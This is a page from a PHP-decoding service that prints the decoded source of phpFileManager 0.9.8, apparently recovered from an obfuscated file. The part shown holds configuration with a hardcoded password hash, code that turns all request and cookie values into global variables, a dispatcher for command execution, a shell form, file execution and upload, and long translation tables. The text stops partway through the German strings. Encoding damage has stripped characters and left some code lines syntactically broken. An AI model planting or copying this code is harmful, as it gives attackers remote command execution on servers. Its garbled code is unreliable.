Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"a178352751b9a072dea0748f99a73f00";..

Decoded Output download

<?php
//a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"a178352751b9a072dea0748f99a73f00";s:8:"quota_mb";i:0;s:17:"upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"error_reporting";i:1;s:7:"fm_root";s:0:"";s:17:"cookie_cache_time";i:2592000;s:7:"version";s:5:"0.9.8";}
/*--------------------------------------------------
 | PHP FILE MANAGER
 +--------------------------------------------------
 | phpFileManager 0.9.8
 | By Fabricio Seger Kolling
 | Copyright (c) 2004-2013 Fabrcio Seger Kolling
 | E-mail: [email protected]
 | URL: http://phpfm.sf.net
 | Last Changed: 2013-10-15
 +--------------------------------------------------
 | OPEN SOURCE CONTRIBUTIONS
 +--------------------------------------------------
 | TAR/GZIP/BZIP2/ZIP ARCHIVE CLASSES 2.0
 | By Devin Doucette
 | Copyright (c) 2004 Devin Doucette
 | E-mail: [email protected]
 | URL: http://www.phpclasses.org
 +--------------------------------------------------
 | It is the AUTHOR'S REQUEST that you keep intact the above header information
 | and notify him if you conceive any BUGFIXES or IMPROVEMENTS to this program.
 +--------------------------------------------------
 | LICENSE
 +--------------------------------------------------
 | Licensed under the terms of any of the following licenses at your choice:
 | - GNU General Public License Version 2 or later (the "GPL");
 | - GNU Lesser General Public License Version 2.1 or later (the "LGPL");
 | - Mozilla Public License Version 1.1 or later (the "MPL").
 | You are not required to, but if you want to explicitly declare the license
 | you have chosen to be bound to when using, reproducing, modifying and
 | distributing this software, just include a text file titled "LEGAL" in your version
 | of this software, indicating your license choice. In any case, your choice will not
 | restrict any recipient of your version of this software to use, reproduce, modify
 | and distribute this software under any of the above licenses.
 +--------------------------------------------------
 | CONFIGURATION AND INSTALATION NOTES
 +--------------------------------------------------
 | This program does not include any instalation or configuration
 | notes because it simply does not require them.
 | Just throw this file anywhere in your webserver and enjoy !!
 +--------------------------------------------------
*/
// +--------------------------------------------------
// | Header and Globals
// +--------------------------------------------------
ini_set("error_reporting", "E_ALL & ~E_NOTICE");
$charset = "UTF-8";
[email protected](LC_CTYPE, 'C');
header("Pragma: no-cache");
header("Cache-Control: no-store");
header("Content-Type: text/html; charset=" . $charset);
[email protected]_set('default_charset', $charset);
if (@get_magic_quotes_gpc()) {
    function stripslashes_deep($value) {
        return is_array($value) ? array_map('stripslashes_deep', $value) : $value;
    }
    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
}
// Server Vars
function get_client_ip() {
    $ipaddress = '';
    if ($_SERVER['HTTP_CLIENT_IP']) $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
    else if ($_SERVER['HTTP_X_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
    else if ($_SERVER['HTTP_X_FORWARDED']) $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
    else if ($_SERVER['HTTP_FORWARDED_FOR']) $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
    else if ($_SERVER['HTTP_FORWARDED']) $ipaddress = $_SERVER['HTTP_FORWARDED'];
    else if ($_SERVER['REMOTE_ADDR']) $ipaddress = $_SERVER['REMOTE_ADDR'];
    // proxy transparente no esconde o IP local, colocando ele aps o IP da rede, separado por vrgula
    if (strpos($ipaddress, ',') !== false) {
        $ips = explode(',', $ipaddress);
        $ipaddress = trim($ips[0]);
    }
    if ($ipaddress == '::1') $ipaddress = '';
    return $ipaddress;
}
$ip = get_client_ip();
$islinux = !(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
function getServerURL() {
    $url = ($_SERVER["HTTPS"] == "on") ? "https://" : "http://";
    $url.= $_SERVER["SERVER_NAME"]; // $_SERVER["HTTP_HOST"] is equivalent
    if ($_SERVER["SERVER_PORT"] != "80") $url.= ":" . $_SERVER["SERVER_PORT"];
    return $url;
}
function getCompleteURL() {
    return getServerURL() . $_SERVER["REQUEST_URI"];
}
$url = getCompleteURL();
$url_info = parse_url($url);
if (!isset($_SERVER['DOCUMENT_ROOT'])) {
    if (isset($_SERVER['SCRIPT_FILENAME'])) $path = $_SERVER['SCRIPT_FILENAME'];
    elseif (isset($_SERVER['PATH_TRANSLATED'])) $path = str_replace('\', '\', $_SERVER['PATH_TRANSLATED']);
		$_SERVER['DOCUMENT_ROOT'] = str_replace( '\', ' / ', substr($path, 0, 0-strlen($_SERVER['PHP_SELF'])));
	}
	$doc_root = str_replace(' //','/',str_replace(DIRECTORY_SEPARATOR,'/',$_SERVER["DOCUMENT_ROOT"]));
    $fm_self = $doc_root . $_SERVER["PHP_SELF"];
    $path_info = pathinfo($fm_self);
    // Register Globals
    $blockKeys = array('_SERVER', '_SESSION', '_GET', '_POST', '_COOKIE', 'charset', 'ip', 'islinux', 'url', 'url_info', 'doc_root', 'fm_self', 'path_info');
    foreach ($_GET as $key => $val) if (array_search($key, $blockKeys) === false) $$key = $val;
    foreach ($_POST as $key => $val) if (array_search($key, $blockKeys) === false) $$key = $val;
    foreach ($_COOKIE as $key => $val) if (array_search($key, $blockKeys) === false) $$key = $val;
    // +--------------------------------------------------
    // | Config
    // +--------------------------------------------------
    $cfg = new config();
    $cfg->load();
    switch ($error_reporting) {
        case 0:
            error_reporting(0);
            @ini_set("display_errors", 0);
        break;
        case 1:
            error_reporting(E_ERROR | E_PARSE | E_COMPILE_ERROR);
            @ini_set("display_errors", 1);
        break;
        case 2:
            error_reporting(E_ALL);
            @ini_set("display_errors", 1);
        break;
    }
    if (!isset($current_dir)) {
        $current_dir = $path_info["dirname"] . "/";
        if (!$islinux) $current_dir = ucfirst($current_dir);
        [email protected]($current_dir,0755);
        
    } else $current_dir = format_path($current_dir);
    // Auto Expand Local Path
    if (!isset($expanded_dir_list)) {
        $expanded_dir_list = "";
        $mat = explode("/", $path_info["dirname"]);
        for ($x = 0;$x < count($mat);$x++) $expanded_dir_list.= ":" . $mat[$x];
        setcookie("expanded_dir_list", $expanded_dir_list, 0, "/");
    }
    if (!isset($fm_current_root)) {
        if (strlen($fm_root)) $fm_current_root = $fm_root;
        else {
            if (!$islinux) $fm_current_root = ucfirst($path_info["dirname"] . "/");
            else $fm_current_root = $doc_root . "/";
        }
        setcookie("fm_current_root", $fm_current_root, 0, "/");
    } elseif (isset($set_fm_current_root)) {
        if (!$islinux) $fm_current_root = ucfirst($set_fm_current_root);
        setcookie("fm_current_root", $fm_current_root, 0, "/");
    }
    if (!isset($resolveIDs)) {
        setcookie("resolveIDs", 0, time() + $cookie_cache_time, "/");
    } elseif (isset($set_resolveIDs)) {
        $resolveIDs = ($resolveIDs) ? 0 : 1;
        setcookie("resolveIDs", $resolveIDs, time() + $cookie_cache_time, "/");
    }
    if ($resolveIDs) {
    }
    $fm_color['Bg'] = "EEEEEE";
    $fm_color['Text'] = "000000";
    $fm_color['Link'] = "0A77F7";
    $fm_color['Entry'] = "FFFFFF";
    $fm_color['Over'] = "C0EBFD";
    $fm_color['Mark'] = "A7D2E4";
    foreach ($fm_color as $tag => $color) {
        $fm_color[$tag] = strtolower($color);
    }
    // +--------------------------------------------------
    // | File Manager Actions
    // +--------------------------------------------------
    if ($loggedon == $auth_pass) {
        switch ($frame) {
            case 1:
            break; // Empty Frame
                
            case 2:
                frame2();
            break;
            case 3:
                frame3();
            break;
            default:
                switch ($action) {
                    case 1:
                        logout();
                    break;
                    case 2:
                        config_form();
                    break;
                    case 3:
                        download();
                    break;
                    case 4:
                        view();
                    break;
                    case 5:
                        server_info();
                    break;
                    case 6:
                        execute_cmd();
                    break;
                    case 7:
                        edit_file_form();
                    break;
                    case 8:
                        chmod_form();
                    break;
                    case 9:
                        shell_form();
                    break;
                    case 10:
                        upload_form();
                    break;
                    case 11:
                        execute_file();
                    break;
                    default:
                        frameset();
                }
        }
    } else {
        if (isset($pass)) login();
        else login_form();
    }
    // +--------------------------------------------------
    // | Config Class
    // +--------------------------------------------------
    class config {
        var $data;
        var $filename;
        function config() {
            global $fm_self;
            $this->data = array('lang' => 'en', 'auth_pass' => 'a178352751b9a072dea0748f99a73f00', 'quota_mb' => 0, 'upload_ext_filter' => array(), 'download_ext_filter' => array(), 'error_reporting' => 1, 'fm_root' => '', 'cookie_cache_time' => 60 * 60 * 24 * 1, // 30 Days
            'version' => '0.9.8');
            $data = false;
            $this->filename = $fm_self;
            if (file_exists($this->filename)) {
                $mat = file($this->filename);
                $objdata = trim(substr($mat[1], 2));
                if (strlen($objdata)) $data = unserialize($objdata);
            }
            if (is_array($data) && count($data) == count($this->data)) $this->data = $data;
            else $this->save();
        }
        function save() {
            $objdata = "<?php" . chr(13) . chr(10) . "//" . serialize($this->data) . chr(13) . chr(10);
            if (strlen($objdata)) {
                if (file_exists($this->filename)) {
                    $mat = file($this->filename);
                    if ($fh = @fopen($this->filename, "w")) {
                        @fputs($fh, $objdata, strlen($objdata));
                        for ($x = 2;$x < count($mat);$x++) @fputs($fh, $mat[$x], strlen($mat[$x]));
                        @fclose($fh);
                    }
                }
            }
        }
        function load() {
            foreach ($this->data as $key => $val) $GLOBALS[$key] = $val;
        }
    }
    // +--------------------------------------------------
    // | Internationalization
    // +--------------------------------------------------
    function et($tag) {
        global $lang;
        // English - by Fabricio Seger Kolling
        $en['Version'] = 'Version';
        $en['DocRoot'] = 'Document Root';
        $en['FLRoot'] = 'File Manager Root';
        $en['Name'] = 'Name';
        $en['And'] = 'and';
        $en['Enter'] = 'Enter';
        $en['Send'] = 'Send';
        $en['Refresh'] = 'Refresh';
        $en['SaveConfig'] = 'Save Configurations';
        $en['SavePass'] = 'Save Password';
        $en['SaveFile'] = 'Save File';
        $en['Save'] = 'Save';
        $en['Leave'] = 'Leave';
        $en['Edit'] = 'Edit';
        $en['View'] = 'View';
        $en['Config'] = 'Config';
        $en['Ren'] = 'Rename';
        $en['Rem'] = 'Delete';
        $en['Compress'] = 'Compress';
        $en['Decompress'] = 'Decompress';
        $en['ResolveIDs'] = 'Resolve IDs';
        $en['Move'] = 'Move';
        $en['Copy'] = 'Copy';
        $en['ServerInfo'] = 'Server Info';
        $en['CreateDir'] = 'Create Directory';
        $en['CreateArq'] = 'Create File';
        $en['ExecCmd'] = 'Execute Command';
        $en['Upload'] = 'Upload';
        $en['UploadEnd'] = 'Upload Finished';
        $en['Perm'] = 'Perm';
        $en['Perms'] = 'Permissions';
        $en['Owner'] = 'Owner';
        $en['Group'] = 'Group';
        $en['Other'] = 'Other';
        $en['Size'] = 'Size';
        $en['Date'] = 'Date';
        $en['Type'] = 'Type';
        $en['Free'] = 'free';
        $en['Shell'] = 'Shell';
        $en['Read'] = 'Read';
        $en['Write'] = 'Write';
        $en['Exec'] = 'Execute';
        $en['Apply'] = 'Apply';
        $en['StickyBit'] = 'Sticky Bit';
        $en['Pass'] = 'Password';
        $en['Lang'] = 'Language';
        $en['File'] = 'File';
        $en['File_s'] = 'file(s)';
        $en['Dir_s'] = 'directory(s)';
        $en['To'] = 'to';
        $en['Destination'] = 'Destination';
        $en['Configurations'] = 'Configurations';
        $en['JSError'] = 'JavaScript Error';
        $en['NoSel'] = 'There are no selected itens';
        $en['SelDir'] = 'Select the destination directory on the left tree';
        $en['TypeDir'] = 'Enter the directory name';
        $en['TypeArq'] = 'Enter the file name';
        $en['TypeCmd'] = 'Enter the command';
        $en['TypeArqComp'] = 'Enter the file name.
The extension will define the compression type.
Ex:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $en['RemSel'] = 'DELETE selected itens';
        $en['NoDestDir'] = 'There is no selected destination directory';
        $en['DestEqOrig'] = 'Origin and destination directories are equal';
        $en['InvalidDest'] = 'Destination directory is invalid';
        $en['NoNewPerm'] = 'New permission not set';
        $en['CopyTo'] = 'COPY to';
        $en['MoveTo'] = 'MOVE to';
        $en['AlterPermTo'] = 'CHANGE PERMISSIONS to';
        $en['ConfExec'] = 'Confirm EXECUTE';
        $en['ConfRem'] = 'Confirm DELETE';
        $en['EmptyDir'] = 'Empty directory';
        $en['IOError'] = 'I/O Error';
        $en['FileMan'] = 'PHP File Manager';
        $en['TypePass'] = 'Enter the password';
        $en['InvPass'] = 'Invalid Password';
        $en['ReadDenied'] = 'Read Access Denied';
        $en['FileNotFound'] = 'File not found';
        $en['AutoClose'] = 'Close on Complete';
        $en['OutDocRoot'] = 'File beyond DOCUMENT_ROOT';
        $en['NoCmd'] = 'Error: Command not informed';
        $en['ConfTrySave'] = 'File without write permisson.
Try to save anyway';
        $en['ConfSaved'] = 'Configurations saved';
        $en['PassSaved'] = 'Password saved';
        $en['FileDirExists'] = 'File or directory already exists';
        $en['NoPhpinfo'] = 'Function phpinfo disabled';
        $en['NoReturn'] = 'no return';
        $en['FileSent'] = 'File sent';
        $en['SpaceLimReached'] = 'Space limit reached';
        $en['InvExt'] = 'Invalid extension';
        $en['FileNoOverw'] = 'File could not be overwritten';
        $en['FileOverw'] = 'File overwritten';
        $en['FileIgnored'] = 'File ignored';
        $en['ChkVer'] = 'Check for new version';
        $en['ChkVerAvailable'] = 'New version, click here to begin download!!';
        $en['ChkVerNotAvailable'] = 'No new version available. :(';
        $en['ChkVerError'] = 'Connection Error.';
        $en['Website'] = 'Website';
        $en['SendingForm'] = 'Sending files, please wait';
        $en['NoFileSel'] = 'No file selected';
        $en['SelAll'] = 'All';
        $en['SelNone'] = 'None';
        $en['SelInverse'] = 'Inverse';
        $en['Selected_s'] = 'selected';
        $en['Total'] = 'total';
        $en['Partition'] = 'Partition';
        $en['RenderTime'] = 'Time to render this page';
        $en['Seconds'] = 'sec';
        $en['ErrorReport'] = 'Error Reporting';
        // Portuguese by - Fabricio Seger Kolling
        $pt['Version'] = 'Verso';
        $pt['DocRoot'] = 'Document Root';
        $pt['FLRoot'] = 'File Manager Root';
        $pt['Name'] = 'Nome';
        $pt['And'] = 'e';
        $pt['Enter'] = 'Entrar';
        $pt['Send'] = 'Enviar';
        $pt['Refresh'] = 'Atualizar';
        $pt['SaveConfig'] = 'Salvar Configuraes';
        $pt['SavePass'] = 'Salvar Senha';
        $pt['SaveFile'] = 'Salvar Arquivo';
        $pt['Save'] = 'Salvar';
        $pt['Leave'] = 'Sair';
        $pt['Edit'] = 'Editar';
        $pt['View'] = 'Visualizar';
        $pt['Config'] = 'Config';
        $pt['Ren'] = 'Renomear';
        $pt['Rem'] = 'Apagar';
        $pt['Compress'] = 'Compactar';
        $pt['Decompress'] = 'Descompactar';
        $pt['ResolveIDs'] = 'Resolver IDs';
        $pt['Move'] = 'Mover';
        $pt['Copy'] = 'Copiar';
        $pt['ServerInfo'] = 'Server Info';
        $pt['CreateDir'] = 'Criar Diretrio';
        $pt['CreateArq'] = 'Criar Arquivo';
        $pt['ExecCmd'] = 'Executar Comando';
        $pt['Upload'] = 'Upload';
        $pt['UploadEnd'] = 'Upload Terminado';
        $pt['Perm'] = 'Perm';
        $pt['Perms'] = 'Permisses';
        $pt['Owner'] = 'Dono';
        $pt['Group'] = 'Grupo';
        $pt['Other'] = 'Outros';
        $pt['Size'] = 'Tamanho';
        $pt['Date'] = 'Data';
        $pt['Type'] = 'Tipo';
        $pt['Free'] = 'livre';
        $pt['Shell'] = 'Shell';
        $pt['Read'] = 'Ler';
        $pt['Write'] = 'Escrever';
        $pt['Exec'] = 'Executar';
        $pt['Apply'] = 'Aplicar';
        $pt['StickyBit'] = 'Sticky Bit';
        $pt['Pass'] = 'Senha';
        $pt['Lang'] = 'Idioma';
        $pt['File'] = 'Arquivo';
        $pt['File_s'] = 'arquivo(s)';
        $pt['Dir_s'] = 'diretorio(s)';
        $pt['To'] = 'para';
        $pt['Destination'] = 'Destino';
        $pt['Configurations'] = 'Configuraes';
        $pt['JSError'] = 'Erro de JavaScript';
        $pt['NoSel'] = 'No h itens selecionados';
        $pt['SelDir'] = 'Selecione o diretrio de destino na rvore a esquerda';
        $pt['TypeDir'] = 'Digite o nome do diretrio';
        $pt['TypeArq'] = 'Digite o nome do arquivo';
        $pt['TypeCmd'] = 'Digite o commando';
        $pt['TypeArqComp'] = 'Digite o nome do arquivo.
A extenso determina o tipo de compactao.
Ex:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $pt['RemSel'] = 'APAGAR itens selecionados';
        $pt['NoDestDir'] = 'No h um diretrio de destino selecionado';
        $pt['DestEqOrig'] = 'Diretrio de origem e destino iguais';
        $pt['InvalidDest'] = 'Diretrio de destino invlido';
        $pt['NoNewPerm'] = 'Nova permisso no foi setada';
        $pt['CopyTo'] = 'COPIAR para';
        $pt['MoveTo'] = 'MOVER para';
        $pt['AlterPermTo'] = 'ALTERAR PERMISSES para';
        $pt['ConfExec'] = 'Confirma EXECUTAR';
        $pt['ConfRem'] = 'Confirma APAGAR';
        $pt['EmptyDir'] = 'Diretrio vazio';
        $pt['IOError'] = 'Erro de E/S';
        $pt['FileMan'] = 'PHP File Manager';
        $pt['TypePass'] = 'Digite a senha';
        $pt['InvPass'] = 'Senha Invlida';
        $pt['ReadDenied'] = 'Acesso de leitura negado';
        $pt['FileNotFound'] = 'Arquivo no encontrado';
        $pt['AutoClose'] = 'Fechar Automaticamente';
        $pt['OutDocRoot'] = 'Arquivo fora do DOCUMENT_ROOT';
        $pt['NoCmd'] = 'Erro: Comando no informado';
        $pt['ConfTrySave'] = 'Arquivo sem permisso de escrita.
Tentar salvar assim mesmo';
        $pt['ConfSaved'] = 'Configuraes salvas';
        $pt['PassSaved'] = 'Senha salva';
        $pt['FileDirExists'] = 'Arquivo ou diretrio j existe';
        $pt['NoPhpinfo'] = 'Funo phpinfo desabilitada';
        $pt['NoReturn'] = 'sem retorno';
        $pt['FileSent'] = 'Arquivo enviado';
        $pt['SpaceLimReached'] = 'Limite de espao alcanado';
        $pt['InvExt'] = 'Extenso invlida';
        $pt['FileNoOverw'] = 'Arquivo no pode ser sobreescrito';
        $pt['FileOverw'] = 'Arquivo sobreescrito';
        $pt['FileIgnored'] = 'Arquivo omitido';
        $pt['ChkVer'] = 'Verificar por nova verso';
        $pt['ChkVerAvailable'] = 'Nova verso, clique aqui para iniciar download!!';
        $pt['ChkVerNotAvailable'] = 'No h nova verso disponvel. :(';
        $pt['ChkVerError'] = 'Erro de conexo.';
        $pt['Website'] = 'Website';
        $pt['SendingForm'] = 'Enviando arquivos, aguarde';
        $pt['NoFileSel'] = 'Nenhum arquivo selecionado';
        $pt['SelAll'] = 'Tudo';
        $pt['SelNone'] = 'Nada';
        $pt['SelInverse'] = 'Inverso';
        $pt['Selected_s'] = 'selecionado(s)';
        $pt['Total'] = 'total';
        $pt['Partition'] = 'Partio';
        $pt['RenderTime'] = 'Tempo para gerar esta pgina';
        $pt['Seconds'] = 'seg';
        $pt['ErrorReport'] = 'Error Reporting';
        // Spanish - by Sh Studios
        $es['Version'] = 'Versin';
        $es['DocRoot'] = 'Raiz del programa';
        $es['FLRoot'] = 'Raiz del administrador de archivos';
        $es['Name'] = 'Nombre';
        $es['And'] = 'y';
        $es['Enter'] = 'Enter';
        $es['Send'] = 'Enviar';
        $es['Refresh'] = 'Refrescar';
        $es['SaveConfig'] = 'Guardar configuraciones';
        $es['SavePass'] = 'Cuardar Contrasea';
        $es['SaveFile'] = 'Guardar Archivo';
        $es['Save'] = 'Guardar';
        $es['Leave'] = 'Salir';
        $es['Edit'] = 'Editar';
        $es['View'] = 'Mirar';
        $es['Config'] = 'Config.';
        $es['Ren'] = 'Renombrar';
        $es['Rem'] = 'Borrar';
        $es['Compress'] = 'Comprimir';
        $es['Decompress'] = 'Decomprimir';
        $es['ResolveIDs'] = 'Resolver IDs';
        $es['Move'] = 'Mover';
        $es['Copy'] = 'Copiar';
        $es['ServerInfo'] = 'Info del Server';
        $es['CreateDir'] = 'Crear Directorio';
        $es['CreateArq'] = 'Crear Archivo';
        $es['ExecCmd'] = 'Ejecutar Comando';
        $es['Upload'] = 'Subir';
        $es['UploadEnd'] = 'Subida exitosa';
        $es['Perm'] = 'Perm';
        $es['Perms'] = 'Permisiones';
        $es['Owner'] = 'Propietario';
        $es['Group'] = 'Grupo';
        $es['Other'] = 'Otro';
        $es['Size'] = 'Tamao';
        $es['Date'] = 'Fecha';
        $es['Type'] = 'Tipo';
        $es['Free'] = 'libre';
        $es['Shell'] = 'Ejecutar';
        $es['Read'] = 'Leer';
        $es['Write'] = 'Escribir';
        $es['Exec'] = 'Ejecutar';
        $es['Apply'] = 'Aplicar';
        $es['StickyBit'] = 'Sticky Bit';
        $es['Pass'] = 'Contrasea';
        $es['Lang'] = 'Lenguage';
        $es['File'] = 'Archivos';
        $es['File_s'] = 'archivo(s)';
        $es['Dir_s'] = 'directorio(s)';
        $es['To'] = 'a';
        $es['Destination'] = 'Destino';
        $es['Configurations'] = 'Configuracion';
        $es['JSError'] = 'Error de JavaScript';
        $es['NoSel'] = 'No hay items seleccionados';
        $es['SelDir'] = 'Seleccione el directorio de destino en el arbol derecho';
        $es['TypeDir'] = 'Escriba el nombre del directorio';
        $es['TypeArq'] = 'Escriba el nombre del archivo';
        $es['TypeCmd'] = 'Escriba el comando';
        $es['TypeArqComp'] = 'Escriba el nombre del directorio.
La extension definira el tipo de compresion.
Ej:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $es['RemSel'] = 'BORRAR items seleccionados';
        $es['NoDestDir'] = 'No se ha seleccionado el directorio de destino';
        $es['DestEqOrig'] = 'El origen y el destino son iguales';
        $es['InvalidDest'] = 'El destino del directorio es invalido';
        $es['NoNewPerm'] = 'Las permisiones no se pudieron establecer';
        $es['CopyTo'] = 'COPIAR a';
        $es['MoveTo'] = 'MOVER a';
        $es['AlterPermTo'] = 'CAMBIAR PERMISIONES a';
        $es['ConfExec'] = 'Confirmar EJECUCION';
        $es['ConfRem'] = 'Confirmar BORRADO';
        $es['EmptyDir'] = 'Directorio Vacio';
        $es['IOError'] = 'Error I/O';
        $es['FileMan'] = 'PHP File Manager';
        $es['TypePass'] = 'Escriba la contrasea';
        $es['InvPass'] = 'Contrasea invalida';
        $es['ReadDenied'] = 'Acceso de lectura denegado';
        $es['FileNotFound'] = 'Archivo no encontrado';
        $es['AutoClose'] = 'Cerrar al completar';
        $es['OutDocRoot'] = 'Archivo antes de DOCUMENT_ROOT';
        $es['NoCmd'] = 'Error: No se ha escrito ningun comando';
        $es['ConfTrySave'] = 'Archivo sin permisos de escritura.
Intente guardar en otro lugar';
        $es['ConfSaved'] = 'Configuracion Guardada';
        $es['PassSaved'] = 'Contrasea guardada';
        $es['FileDirExists'] = 'Archivo o directorio ya existente';
        $es['NoPhpinfo'] = 'Funcion phpinfo() inhabilitada';
        $es['NoReturn'] = 'sin retorno';
        $es['FileSent'] = 'Archivo enviado';
        $es['SpaceLimReached'] = 'Limite de espacio en disco alcanzado';
        $es['InvExt'] = 'Extension inalida';
        $es['FileNoOverw'] = 'El archivo no pudo ser sobreescrito';
        $es['FileOverw'] = 'Archivo sobreescrito';
        $es['FileIgnored'] = 'Archivo ignorado';
        $es['ChkVer'] = 'Chequear las actualizaciones';
        $es['ChkVerAvailable'] = 'Nueva version, haga click aqui para descargar!!';
        $es['ChkVerNotAvailable'] = 'Su version es la mas reciente.';
        $es['ChkVerError'] = 'Error de coneccion.';
        $es['Website'] = 'Sitio Web';
        $es['SendingForm'] = 'Enviando archivos, espere!';
        $es['NoFileSel'] = 'Ningun archivo seleccionado';
        $es['SelAll'] = 'Todos';
        $es['SelNone'] = 'Ninguno';
        $es['SelInverse'] = 'Inverso';
        $es['Selected_s'] = 'seleccionado';
        $es['Total'] = 'total';
        $es['Partition'] = 'Particion';
        $es['RenderTime'] = 'Generado en';
        $es['Seconds'] = 'seg';
        $es['ErrorReport'] = 'Reporte de error';
        // Korean - by Airplanez
        $kr['Version'] = ' ';
        $kr['DocRoot'] = ' ';
        $kr['FLRoot'] = '   ';
        $kr['Name'] = '';
        $kr['Enter'] = ' ';
        $kr['Send'] = ' ';
        $kr['Refresh'] = ' ';
        $kr['SaveConfig'] = '  ';
        $kr['SavePass'] = '  ';
        $kr['SaveFile'] = '  ';
        $kr['Save'] = ' ';
        $kr['Leave'] = '';
        $kr['Edit'] = ' ';
        $kr['View'] = '';
        $kr['Config'] = '';
        $kr['Ren'] = '';
        $kr['Rem'] = ' ';
        $kr['Compress'] = '';
        $kr['Decompress'] = '';
        $kr['ResolveIDs'] = ' ';
        $kr['Move'] = '';
        $kr['Copy'] = '';
        $kr['ServerInfo'] = '  ';
        $kr['CreateDir'] = '   ';
        $kr['CreateArq'] = ' ';
        $kr['ExecCmd'] = '  ';
        $kr['Upload'] = '';
        $kr['UploadEnd'] = ' .';
        $kr['Perm'] = '';
        $kr['Perms'] = '';
        $kr['Owner'] = ' ';
        $kr['Group'] = '';
        $kr['Other'] = ' ';
        $kr['Size'] = '';
        $kr['Date'] = ' ';
        $kr['Type'] = '';
        $kr['Free'] = ' ';
        $kr['Shell'] = '';
        $kr['Read'] = '';
        $kr['Write'] = '';
        $kr['Exec'] = '';
        $kr['Apply'] = ' ';
        $kr['StickyBit'] = ' ';
        $kr['Pass'] = '';
        $kr['Lang'] = '';
        $kr['File'] = '';
        $kr['File_s'] = '';
        $kr['To'] = '';
        $kr['Destination'] = '';
        $kr['Configurations'] = '';
        $kr['JSError'] = ' ';
        $kr['NoSel'] = '   ';
        $kr['SelDir'] = '      ';
        $kr['TypeDir'] = '    ';
        $kr['TypeArq'] = '  ';
        $kr['TypeCmd'] = '   ';
        $kr['TypeArqComp'] = '  .
    .
:
nome.zip
nome.tar
nome.bzip
nome.gzip';
        $kr['RemSel'] = '    ';
        $kr['NoDestDir'] = '      .';
        $kr['DestEqOrig'] = '        ';
        $kr['NoNewPerm'] = '    ';
        $kr['CopyTo'] = ' ';
        $kr['MoveTo'] = ' ';
        $kr['AlterPermTo'] = ' ';
        $kr['ConfExec'] = ' ';
        $kr['ConfRem'] = '  ';
        $kr['EmptyDir'] = '   ';
        $kr['IOError'] = '/  ';
        $kr['FileMan'] = 'PHP   ';
        $kr['TypePass'] = '  ';
        $kr['InvPass'] = ' ';
        $kr['ReadDenied'] = ' ';
        $kr['FileNotFound'] = ' ';
        $kr['AutoClose'] = ' ';
        $kr['OutDocRoot'] = 'DOCUMENT_ROOT   ';
        $kr['NoCmd'] = ':    ';
        $kr['ConfTrySave'] = '   .
   ';
        $kr['ConfSaved'] = '  ';
        $kr['PassSaved'] = '  ';
        $kr['FileDirExists'] = '      ';
        $kr['NoPhpinfo'] = 'PHPINFO()   ';
        $kr['NoReturn'] = ' ';
        $kr['FileSent'] = '  ';
        $kr['SpaceLimReached'] = '    ';
        $kr['InvExt'] = '   ';
        $kr['FileNoOverw'] = '   ';
        $kr['FileOverw'] = '  ';
        $kr['FileIgnored'] = ' ';
        $kr['ChkVer'] = '   ';
        $kr['ChkVerAvailable'] = '   .   !!';
        $kr['ChkVerNotAvailable'] = '   . :(';
        $kr['ChkVerError'] = ' ';
        $kr['Website'] = '';
        $kr['SendingForm'] = '  . ';
        $kr['NoFileSel'] = '   ';
        $kr['SelAll'] = ' ';
        $kr['SelNone'] = ' ';
        $kr['SelInverse'] = '';
        // German - by Guido Ogrzal
        $de1['Version'] = 'Version';
        $de1['DocRoot'] = 'Dokument Wurzelverzeichnis';
        $de1['FLRoot'] = 'Dateimanager Wurzelverzeichnis';
        $de1['Name'] = 'Name';
        $de1['And'] = 'und';
        $de1['Enter'] = 'Eintreten';
        $de1['Send'] = 'Senden';
        $de1['Refresh'] = 'Aktualisieren';
        $de1['SaveConfig'] = 'Konfiguration speichern';
        $de1['SavePass'] = 'Passwort speichern';
        $de1['SaveFile'] = 'Datei speichern';
        $de1['Save'] = 'Speichern';
        $de1['Leave'] = 'Verlassen';
        $de1['Edit'] = 'Bearbeiten';
        $de1['View'] = 'Ansehen';
        $de1['Config'] = 'Konfigurieren';
        $de1['Ren'] = 'Umbenennen';
        $de1['Rem'] = 'Lschen';
        $de1['Compress'] = 'Komprimieren';
        $de1['Decompress'] = 'Dekomprimieren';
        $de1['ResolveIDs'] = 'Resolve IDs';
        $de1['Move'] = 'Verschieben';
        $de1['Copy'] = 'Kopieren';
        $de1['ServerInfo'] = 'Server-Info';
        $de1['CreateDir'] = 'Neues Verzeichnis';
        $de1['CreateArq'] = 'Neue Datei';
        $de1['ExecCmd'] = 'Kommando';
        $de1['Upload'] = 'Datei hochladen';
        $de1['UploadEnd'] = 'Datei hochladen beendet';
        $de1['Perm'] = 'Erlaubnis';
        $de1['Perms'] = 'Erlaubnis';
        $de1['Owner'] = 'Besitzer';
        $de1['Group'] = 'Gruppe';
        $de1['Other'] = 'Andere';
        $de1['Size'] = 'Gre';
        $de1['Date'] = 'Datum';
        $de1['Type'] = 'Typ';
        $de1['Free'] = 'frei';
        $de1['Shell'] = 'Shell';
        $de1['Read'] = 'Lesen';
        $de1['Write'] = 'Schreiben';
        $de1['Exec'] = 'Ausfhren';
        $de1['Apply'] = 'Besttigen';
        $de1['StickyBit'] = 'Sticky Bit';
        $de1['Pass'] = 'Passwort';
        $de1['Lang'] = 'Sprache';
        $de1['File'] = 'Datei';
        $de1['File_s'] = 'Datei(en)';
        $de1['Dir_s'] = 'Verzeichniss(e)';
        $de1['To'] = '-&gt;';
        $de1['Destination'] = 'Ziel';
        $de1['Configurations'] = 'Konfiguration';
        $de1['JSError'] = 'JavaScript Fehler';
        $de1['NoSel'] = 'Es gibt keine selektierten Objekte';
        $de1['SelDir'] = 'Selektiere das Zielverzeichnis im linken Verzeichnisbaum';
        $de1['TypeDir'] = 'Trage den Verzeichnisnamen ein';
